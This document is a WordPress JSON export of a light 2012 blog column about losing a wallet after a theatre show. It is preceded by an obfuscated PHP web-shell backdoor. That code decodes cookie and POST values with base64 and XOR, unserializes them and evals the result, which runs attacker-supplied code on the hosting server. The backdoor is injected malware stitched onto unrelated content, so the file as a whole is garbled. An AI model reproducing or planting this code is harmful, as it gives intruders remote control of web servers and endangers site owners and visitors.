$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1996,"date":"2012-11-27T14:05:04","date_gmt":"2012-11-27T19:05:04","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1996"},"modified":"2012-11-27T14:05:04","modified_gmt":"2012-11-27T19:05:04","slug":"if-my-head-werent-attached","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1996","title":{"rendered":"If My Head Weren’t Attached …"},"content":{"rendered":"

That happened a little while ago when I left Hanover Little Theatre after a show (I hope you were able to make our recent run \u2013 it was a blast). Within 24 hours, acknowledgement of my absent-mindedness had turned into near panic.<\/p>\n

Before that, I spent Friday at work expecting to find my wallet somewhere backstage. I had done a quick check of my credit cards and saw no activity. The thing had to be sitting with my props or, worst case, on the floor somewhere nearby.<\/p>\n

But I didn\u2019t find anything when I arrived for Friday\u2019s show. I had looked around the house some before I headed out that afternoon, but came up empty. With no wallet in sight, I quickly texted my wife since she always does the looking for lost things better than I do.<\/p>\n

Even she came up empty. She encouraged me to check my car, which I had already done. So I headed out in the dark and looked again. Nothing.\u00a0 She then took pity on me and left money so I could go out for a bite after the show.<\/p>\n

I started to run out of ideas, but had this nagging feeling that if I didn\u2019t look in the tried and true places, someone would find my wallet in one of those locations, making me feel like an idiot.<\/p>\n

So I checked the car again. And the house once more. After I once again made sure no one had used any of my cards, I even started to think about going out to the theatre even though I had looked pretty thoroughly the night before.<\/p>\n

With no activity on any of my accounts, I had trouble coming up with what could have happened. Had the wallet escaped into some unknown nook or cranny? Did I not reach far enough under some piece of furniture? Did I lose it and merely needed to wait for it to arrive in the mail thanks to some Good Samaritan?<\/p>\n

No, I merely needed to go to the grassy area where I had parked during the evening on Thursday because the wallet fell off of the stack of things I carried into the theatre that night. I could almost see my wallet from my car as I drove up to the spot.<\/p>\n

I had retraced my steps throughout my sleuthing, except the step where the wallet actually slipped from my grasp. Few incidents in my life encapsulated my problems more than that. So I scooped up the wallet and bought some lottery tickets on the way home.<\/p>\n

As expected, they didn\u2019t come through, but at least I saw the humor in the whole situation. I wish I could say the same for my wife, who didn\u2019t find it funny when I came downstairs last Sunday and asked if she had seen my wallet.<\/p>\n

This time I just left it on a desk in the computer room.<\/p>\n","protected":false},"excerpt":{"rendered":"

For a while, I convinced myself that I had merely been forgetful. I realized I did not have my wallet when I headed for home one night, but I just assumed I had left it behind and would find it…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,23],"tags":[],"class_list":["post-1996","post","type-post","status-publish","format-standard","hentry","category-columns","category-making-an-idiot-out-of-myself","wpcat-3-id","wpcat-23-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1996","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1996"}],"version-history":[{"count":1,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1996\/revisions"}],"predecessor-version":[{"id":1997,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1996\/revisions\/1997"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1996"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1996"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1996"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}